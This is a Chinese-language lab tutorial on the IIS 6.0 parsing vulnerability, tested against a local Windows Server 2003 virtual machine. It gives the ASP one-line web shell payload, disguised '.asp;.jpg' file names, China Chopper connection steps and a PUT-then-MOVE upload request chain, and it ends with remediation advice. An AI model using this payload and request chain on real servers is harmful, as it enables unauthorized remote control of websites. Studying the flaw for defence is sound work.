漏洞介绍与成因

IIS-6.0这个版本中,搭建的服务器是2003系统中所造成的解析漏洞的两种情况。

1
2
3
4
5
情况一:/liuwx.asp/liuwx.jpg

介绍:在网站的根目录下创建一个命名为liuwx.asp的文件夹,该文件夹下有一个liuwx.jpg的图片木马,也就是说该目录下的所有文件都会被当做asp脚本文件

利用:访问 www.liuwx.cn/liuwx.asp/liuwx.jpg 会吧图片解析当成asp脚本文件执行
1
2
3
4
5
情况二:`liuwx.asp;.jpg`

介绍:创建一个图片并命名为liuwx.asp;.jpg,注意有一个分号和点,的图片文件

利用:www.liuwx.cn/liuwx.asp/liuwx.asp;.jpg 会吧它当做脚本文件执行

准备工作

1
虚拟机:Windows Server 2003 Enterprise x64 Edition

物理主机和2003虚拟机必须能相互Ping通

在这里我物理主机的IP是:192.168.1.100

2003虚拟机的IP是:192.168.119.133

图片

漏洞验证

情况一

我首先在网站根目录下创建了一个liuwx.asp的目录,该目录下有一个liuwx.txt文件,里面写了这是情况一

图片

接下来吧.txt修改为.jpg

图片

此时,用物理机访问2003虚拟机的图片地址:

http://192.168.119.133/liuwx.asp/liuwx.jpg

图片

可以看到它并没有显示图片,而是吧图片当做脚本来执行了!为了方便演示,我吧图片内容修改为asp一句话来演示<%execute(request("cmd"))%>

然后用菜刀链接URL:

http://192.168.119.133/liuwx.asp/liuwx.jpg | cmd

图片

这个时候我们就成功得到了一个webshell

情况二

在网站根目录下创建一个命名为liuwx.asp;.jpg的文件,其中和上面的一样,里面写了asp一句话

图片

用菜刀链接URL:

http://192.168.119.133/liuwx.asp;.jpg | cmd

图片

这个时候我们就又成功得到了一个webshell

通过PUT漏洞来利用IIS6.0解析漏洞

关于PUT漏洞可以看我之前写的文章:传送门

图片

1
2
3
4
5
6
7
8
HTTP/1.1 201 Created
Date: Fri, 16 Aug 2019 15:33:02 GMT
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Location: http://192.168.119.133/test.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK

服务器验证一下看看存在不存在:

图片

上传成功!

当然,我们上传txt文件并没有什么作用,我们得上传脚本文件才可以发挥作用。

我们上传先用PUT上传一个shell.txt:

图片

图片

上传成功后我们再选择MOVE

图片

切记数据包中一定要加:;.jpg

1
2
3
MOVE /shell.txt HTTP/1.1
Host: 192.168.119.133
Destination: http://192.168.119.133/shell.asp;.jpg

图片

图片

这个时候就成功上传了一个shell.asp;/jpg的文件!

我们使用中国菜刀连接一下Shell:

图片

这个时候就拿到了网站的控制权限!

修复建议

程序方面:

1、对新建目录文件名进行过滤,不允许新建包含.的文件夹

2、取消网站后台新建目录的功能,不允许新建目录

3、限制上传的脚本执行权限,不允许执行脚本

4、过滤.asp/*.jpg,通过ISApi组件过滤